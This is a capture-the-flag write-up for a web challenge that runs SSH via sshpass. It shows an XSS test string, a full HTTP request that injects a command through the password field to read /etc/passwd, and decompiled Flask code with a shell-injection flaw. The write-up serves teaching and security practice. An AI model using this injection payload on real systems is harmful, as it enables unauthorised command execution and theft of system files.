[SpiderLabsCTF] Remote Management System
Remote Management System (Web)
At first, we provided real details in order to understand the application's logic. + Using the sshpass
utility, the server was connecting to an SSH server using the provided details + Upon login, the command show config
was issued
We decided to test if the application would reflect back any output from the above command into the webpage. Thus, using sudo cp /bin/cat /bin/show
we create a copy of the cat
utility called show
and using echo "<script>aler(1)</script>" > config
we create the file that the server will request to read. Interestingly, the server reflected back the contents of the config
file in the webpage and it was also vulnerable to XSS.
We tried several payloads in order to identify other vulnerabilities like XXE, SSTI or characters that would break the applications logic. None of them worked.
Going back to the application, we tried to find a command injection vulnerability by manually fuzzing the available parameters using Burp. Good news, RCE was possible thus we started enumerating the server.
POST / HTTP/1.1
Host: spiderlabsctf.com:6060
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Origin: http://spiderlabsctf.com:6060
Connection: close
Referer: http://spiderlabsctf.com:6060/
Upgrade-Insecure-Requests: 1
hostname=/&port=1&username=/&password=-w+less+-FX+/etc/passwd+%0a
After reading both the app.py
and remoteapp.pyc
files (decompiled) we were unable to find the flag. We also used grep FLAG -R /
in order to recursively check each file for the flag, without any luck.
app.py
import sys
from remoteapp import remoteapp
from flask import Flask, request, render_template, Response
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def manage():
if len(request.form) > 0:
output = remoteapp(request.form)
return render_template('home.html', output=output)
else:
return render_template('home.html')
@app.route('/css/<path:path>')
def send_css(path):
return Response(open("css/%s" % path, "r").read(), mimetype='text/css')
if __name__ == "__main__":
app.run(host="0.0.0.0", port=int(sys.argv[1]))
remoteapp.py (decompiled)
import subprocess, re, redis
from flask import Markup
def remoteapp(data):
try:
password = check_param(data['password'])
username = check_param(data['username'])
hostname = check_param(data['hostname'])
port = int(data['port'])
cmd = 'sshpass -p %s ssh -o StrictHostKeyChecking=no -p %s %s@%s show config' % (password, port, username, hostname)
print cmd
output = subprocess.Popen([cmd], shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
stdout, stderr = output.communicate()
return Markup("<div class='alert alert-warning'>%s</div>" % stdout)
except:
return Markup("<div class='alert alert-danger'>Could not fetch remote data</div>")
def check_param(data):
if not re.match('^[a-zA-Z0-9 \\.:/\\-]*$', data):
print '%s failed regex check' % data
save_query(data)
raise Exception('regex violation')
return data
def save_query(data):
instance = redis.StrictRedis(host='127.0.0.1', db=0)
instance.set(data, data)
Finally, we saw that a redis server was running. Issuing a simple redis-cli get FLAG
revealed the flag.